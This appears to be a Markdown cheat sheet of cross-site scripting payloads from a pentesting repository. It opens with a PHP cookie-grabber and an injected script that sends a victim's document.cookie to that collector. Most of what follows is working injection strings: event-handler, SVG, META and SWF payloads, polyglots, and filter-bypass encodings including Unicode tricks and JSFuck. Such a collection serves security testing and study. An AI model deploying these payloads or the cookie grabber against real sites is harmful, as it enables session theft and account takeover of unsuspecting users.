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305 lines
13 KiB
Markdown
305 lines
13 KiB
Markdown
# Cross Site Scripting
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Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
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## Exploit code or POC
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Cookie grabber for XSS
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```
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<?php
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// How to use it
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# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
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// Write the cookie in a file
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$cookie = $_GET['c'];
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$fp = fopen('cookies.txt', 'a+');
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fwrite($fp, 'Cookie:' .$cookie.'\r\n');
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fclose($fp);
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?>
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```
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## XSS in HTML/Applications
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XSS Basic
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```
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Basic payload
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<script>alert('XSS')</script>
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<scr<script>ipt>alert('XSS')</scr<script>ipt>
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"><script>alert('XSS')</script>
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"><script>alert(String.fromCharCode(88,83,83))</script>
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Img payload
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<img src=x onerror=alert('XSS');>
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<img src=x onerror=alert(String.fromCharCode(88,83,83));>
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<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
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<img src=x:alert(alt) onerror=eval(src) alt=xss>
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"><img src=x onerror=alert('XSS');>
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"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
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Svg payload
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<svg onload=alert(1)>
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<svg/onload=alert('XSS')>
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<svg/onload=alert(String.fromCharCode(88,83,83))>
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<svg id=alert(1) onload=eval(id)>
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"><svg/onload=alert(String.fromCharCode(88,83,83))>
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"><svg/onload=alert(/XSS/)
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```
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XSS for HTML5
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```
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<body onload=alert(/XSS/.source)>
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<input autofocus onfocus=alert(1)>
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<select autofocus onfocus=alert(1)>
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<textarea autofocus onfocus=alert(1)>
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<keygen autofocus onfocus=alert(1)>
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<video/poster/onerror=alert(1)>
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<video><source onerror="javascript:alert(1)">
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<video src=_ onloadstart="alert(1)">
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<details/open/ontoggle="alert`1`">
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<audio src onloadstart=alert(1)>
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<marquee onstart=alert(1)>
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```
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XSS in META tag
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```
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Base64 encoded
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<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
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<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
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With an additionl URL
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<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
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```
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XSS in flash application
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```
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\%22})))}catch(e){alert(document.domain);}//
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"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
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"a")(({type:"ready"}));}catch(e){alert(1)}//
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```
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XSS in Hidden input
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```
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<input type="hidden" accesskey="X" onclick="alert(1)">
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Use CTRL+SHIFT+X to trigger the onclick event
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```
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DOM XSS
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```
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#"><img src=/ onerror=alert(2)>
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```
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## XSS in wrappers javascript and data
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XSS with javascript:
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```
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javascript:prompt(1)
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%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
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javascript:confirm(1)
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```
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XSS with data:
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```
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data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
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```
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## XSS in files
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XSS in XML
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```
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<html>
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<head></head>
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<body>
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<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
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</body>
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</html>
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```
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XSS in SVG
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```
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
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<script type="text/javascript">
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alert(document.domain);
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</script>
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</svg>
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```
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XSS in SVG (short)
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```
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<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
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```
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XSS in SWF
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```
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Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
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IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
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IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
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```
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more payloads in ./files
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## XSS with Relative Path Overwrite - IE 8/9 and lower
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You need these 3 components
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```
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1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
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2) URL Rewriting.
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3) Relative addressing to CSS style sheet : ../style.css
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```
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A little example
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```
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http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
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<html>
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<head>
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<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
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<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
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</head>
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<body>
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Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
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</body>
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</html>
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```
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Explanation of the vulnerability
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```
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The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
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A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
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Demo 1 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php
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Demo 2 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3
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MultiBrowser : http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php
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From : http://www.thespanner.co.uk/2014/03/21/rpo/
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```
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## Mutated XSS for Browser IE8/IE9
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```
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<listing id=x><img src=1 onerror=alert(1)></listing>
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<script>alert(document.getElementById('x').innerHTML)</script>
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```
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IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.
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## Polyglot XSS
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Polyglot XSS - 0xsobky
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```
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jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
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```
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Polyglot XSS - Ashar Javed
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```
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">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
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```
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Polyglot XSS - Mathias Karlsson
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```
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" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
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```
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Polyglot XSS - Rsnake
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```
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';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
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```
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## Filter Bypass and exotic payloads
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Bypass quotes for string
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```
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String.fromCharCode(88,83,83)
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```
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Bypass parenthesis for string
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```
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alert`1`
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```
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Exotic payloads
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```
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<script>$=1,alert($)</script>
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<script ~~~>confirm(1)</script ~~~>
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<script>$=1,\u0061lert($)</script>
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<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
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<</script/script><script ~~~>\u0061lert(1)</script ~~~>
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</style></scRipt><scRipt>alert(1)</scRipt>
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<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
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<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
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<svg><x><script>alert('1')</x>
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<iframe src=""/srcdoc='<svg onload=alert(1)>'>
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```
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Using Unicode
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```
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Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
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transformed into U+003C LESSTHAN SIGN (<)
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Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
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transformed into U+0022 QUOTATION MARK (")
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Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
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transformed into U+0027 APOSTROPHE (')
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Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
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transformed into U+003C LESSTHAN SIGN (<)
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Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
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transformed into U+0022 QUOTATION MARK (")
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Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
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transformed into U+0027 APOSTROPHE (')
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E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
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%EF%BC%9E becomes >
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%EF%BC%9C becomes <
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Overlong UTF-8
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< = %C0%BC = %E0%80%BC = %F0%80%80%BC
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> = %C0%BE = %E0%80%BE = %F0%80%80%BE
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' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
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" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
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" = %CA%BA
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' = %CA%B9
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```
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HTTP Parameter Pollution
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```
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http://target.com/something.xxx?a=val1&a=val2
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ASP.NET a = val1,val2
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ASP a = val1,val2
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JSP a = val1
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PHP a = val2
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```
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Use JSFuck to encode the payload (alert())
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```javascript
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<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
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<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
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```
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## Thanks to
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* https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
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* tbm
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* http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html
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* http://www.thespanner.co.uk/2014/03/21/rpo/
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* http://blog.innerht.ml/rpo-gadgets/
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* http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite |